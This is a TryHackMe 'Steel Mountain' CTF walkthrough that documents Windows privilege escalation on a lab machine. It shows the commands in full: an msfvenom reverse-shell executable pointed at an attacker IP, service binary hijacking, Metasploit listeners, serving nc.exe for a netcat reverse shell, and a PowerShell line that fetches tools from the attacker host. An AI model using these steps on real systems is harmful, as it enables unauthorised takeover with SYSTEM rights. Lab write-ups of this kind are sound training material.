TryHackMe Steel Mountain

Saikat Karmakar | Jul 29 : 2021

Privilege Escalation

- Upload PowerUp script to the machine form the meterpreter
- `upload /opt/tools/PowerSploit/Privesc/PowerUp.ps1`
- To execute this using Meterpreter, I will type **load powershell** into meterpreter. Then I will enter powershell by entering **powershell_shell**
-
```
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS >
```

-
```
meterpreter > powershell_shell
PS > . .\PowerUp.ps1
PS > Invoke-AllChecks


ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths

ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths

ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit; IdentityReference=STEELMOUNTAIN\bill;
                 Permissions=System.Object[]}
StartName      : LocalSystem
```

- generate a revshell & output it to the same exe as our target service
-
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.4.23.120 LPORT=9999 -e x86/shikata_ga_nai -f exe -o ASCService.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: ASCService.exe
```

- get a shell form meterpreter & stop the service

```
C:\Users\bill\Desktop>sc stop AdvancedSystemCareService9
sc stop AdvancedSystemCareService9

SERVICE_NAME: AdvancedSystemCareService9
        TYPE               : 110  WIN32_OWN_PROCESS  (interactive)
        STATE              : 4  RUNNING
                             (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

C:\Users\bill\Desktop>
```

- upload the shell

```
meterpreter > upload ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
[*] uploading  : /home/avik/Desktop/ctf/WalkThroughs/TryHackMe/steel_Mountain/ASCService.exe -> C:\Program Files (x86)\IOb
it\Advanced SystemCare\ASCService.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /home/avik/Desktop/ctf/WalkThroughs/TryHackMe/steel_Mountain/ASCService.exe
-> C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
[*] uploaded   : /home/avik/Desktop/ctf/WalkThroughs/TryHackMe/steel_Mountain/ASCService.exe -> C:\Program Files (x86)\IOb
it\Advanced SystemCare\ASCService.exe
meterpreter >
```

- set-up a listener

```
msf6 exploit(windows/http/rejetto_hfs_exec) >
msf6 exploit(windows/http/rejetto_hfs_exec) > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
```

-

```
msfconsole 65x32
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Progra
ms\Startup>sc start AdvancedSystemCareService9
sc start AdvancedSystemCareService9
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a
timely fashion.


C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Progra
ms\Startup>
```

```
File  Edit  View  Terminal  Tabs  Help
sudo openvpn aviksaikat.ovpn    msfconsole
[*] Started reverse TCP handler on 10.4.23.120:9999
[*] Sending stage (175174 bytes) to 10.10.233.106
[*] Session ID 1 (10.4.23.120:9999 -> 10.10.233.106:49202)
processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against STEELMOUNTAIN
[*] Current server process: ASCService.exe (1804)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 892
[+] Successfully migrated into process 892
[*] Meterpreter session 1 opened (10.4.23.120:9999 -> 10.10
.233.106:49202) at 2021-07-30 13:28:48 +0530

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 2624 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

- root

```
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 9999
lport => 9999
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.4.23.120:9999
[*] Sending stage (175174 bytes) to 10.10.48.239
[*] Meterpreter session 1 opened (10.4.23.120:9999 -> 10.10.48.239:49234) at 2021-07-30 12:06:08 +0530

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

- but the shell is not stable
- `set AutoRunScript post/windows/manage/migrate` to auto migrate the shell

Manually

- exploit

```
master ✗ $ python2 exp.py 10.10.48.239 8080
avik@kali:~/Desktop/ctf/WalkThroughs/TryHackMe/steel_Mountain
master ✗ $ python2 exp.py 10.10.48.239 8080
avik@kali:~/Desktop/ctf/WalkThroughs/TryHackMe/steel_Mountain
master ✗ $
```

```
sudo python3 -m http.server 80 134x11
binaries % ls
enumplus     fgdump  klogger.exe  nbtenum  plink.exe   vncviewer.exe  whoami.exe
exe2bat.exe  fport   mbenum       nc.exe   radmin.exe  wget.exe
binaries % sudo python3 -m http.server 80
[sudo] password for avik:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.48.239 - - [30/Jul/2021 12:20:53] "GET /nc.exe HTTP/1.1" 200 -
10.10.48.239 - - [30/Jul/2021 12:20:53] "GET /nc.exe HTTP/1.1" 200 -
10.10.48.239 - - [30/Jul/2021 12:20:53] "GET /nc.exe HTTP/1.1" 200 -
10.10.48.239 - - [30/Jul/2021 12:20:53] "GET /nc.exe HTTP/1.1" 200 -
^[[1;5B
```

```
nc -nvlp 1234 134x8
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>whoami
whoami
steelmountain\bill

C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>
```

- upload winpease

```
powershell -c "Invoke-WebRequest -OutFile winpease.exe -Uri
http://10.4.23.120:8000/winPEASx86.exe"
```

- generate a payload with msfvenom & run it